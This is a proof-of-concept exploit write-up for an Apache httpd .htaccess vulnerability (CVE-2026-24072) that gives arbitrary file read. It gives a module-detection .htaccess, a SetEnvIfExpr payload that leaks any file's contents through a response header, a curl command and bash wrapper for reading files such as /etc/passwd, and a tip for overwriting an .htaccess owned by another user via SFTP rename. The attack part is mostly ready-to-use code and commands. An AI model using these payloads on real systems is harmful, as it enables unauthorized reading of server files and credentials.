CVE-2026-24072 PoC
Introduction
CVE-2026-24072 is a vulnerability discovered by user y7syeu that affects Apache versions up to and including v2.4.66 that allows a user with write access to a .htaccess file to gain arbitrary file read with the permissions of the httpd user. Provided below are links to Debian’s security tracker that credits the subsequently linked git commit with fixing the issue.
- NIST: https://nvd.nist.gov/vuln/detail/CVE-2026-24072
- Debian security tracker: https://security-tracker.debian.org/tracker/CVE-2026-24072
- git commit and diff: https://github.com/apache/httpd/commit/05e6c5086d6792b9105f88e1664b2614087f79d5
- Apache security advisory: https://httpd.apache.org/security/vulnerabilities_24.html
How it works
In versions <=2.4.66 of Apache, there were three modules that contained a function which would evaluate ap_expr expressions without passing the AP_EXPR_FLAG_RESTRICTED flag when evaluating .htaccess. These modules and their functions are as follows:
mod_rewriteviaRewriteEnginemod_setenvifviaSetEnvIfExprmod_proxy_fcgiviaProxyFCGIBackendType
In practice this means that any user who could write a .htaccess file could use these expressions functions to probe or read the filesystem with the full privileges of the parent process.
In order to find out which, if any, of these modules are enabled, upload the following .htaccess file and use curl -I to grab the headers. If you see any of these returned then the application will be vulnerable.
<IfModule mod_rewrite.c>
Header always set X-Rewrite "mod_rewrite is loaded"
</IfModule>
<IfModule mod_setenvif.c>
Header always set X-Setenvif "mod_setenvif is loaded"
</IfModule>
<IfModule mod_proxy_fcgi.c>
Header always set X-Proxy "mod_proxy is loaded"
</IfModule>
Example: Exploiting Setenvif
To exploit the mod_setenvif module, start by reading the documentation of the relevant SetEnvIfExpr function: https://httpd.apache.org/docs/current/mod/mod_setenvif.html#setenvifexpr
The wiki explains that this function will define an environment variable based on if an expression is true or false. To exploit this, we can read an arbitrary file path and compare it with a regex “always true” function. We then wrap the function in parenthesis so that we can reference the output in the contents of environment variable as $0.
SetEnvIfExpr "file(req('X-Path')) =~ /(.*)/" MEOW=$0
Header always set X-Meow "%{MEOW}e"
After uploading this you can interact read files with cURL:
curl -Is "http://my-vulnerable-website.com" -H "X-Path: /etc/passwd"
A quirk of exfiltrating via headers is that being that newlines are not interpreted as spaces, often leaving files difficult to read. I found it helpful to make a wrapper script to help make the output more readable. This script will grab the output, isolate the custom header, print the output, then print a newline for clarity.
#!/bin/bash
curl -Is "http://my-vulnerable-website.com" -H "X-Path: $1" | grep -oP '(?<=X-Meow: ).*' && echo ""
Troubleshooting
.htaccess is owned by another user
If you cannot directly write to .htaccess, depending on how you are writing to the file location you can try to override the file by renaming a local file you own to .htaccess. For example, if you are using SFTP you can try:
put arbitrary_file .
rename arbitrary_file .htaccess
- A bonus of this is that in the future you can upload files easily with just:
put arbitrary_file .htaccess
I don’t see any output coming back:
To confirm that the file is actually executing I would recommend a simple version-agnostic test header and confirming that the version of Apache is actually vulnerable using a tool like Wappalyzer.
Header always set X-Test-Meow 'meow :3'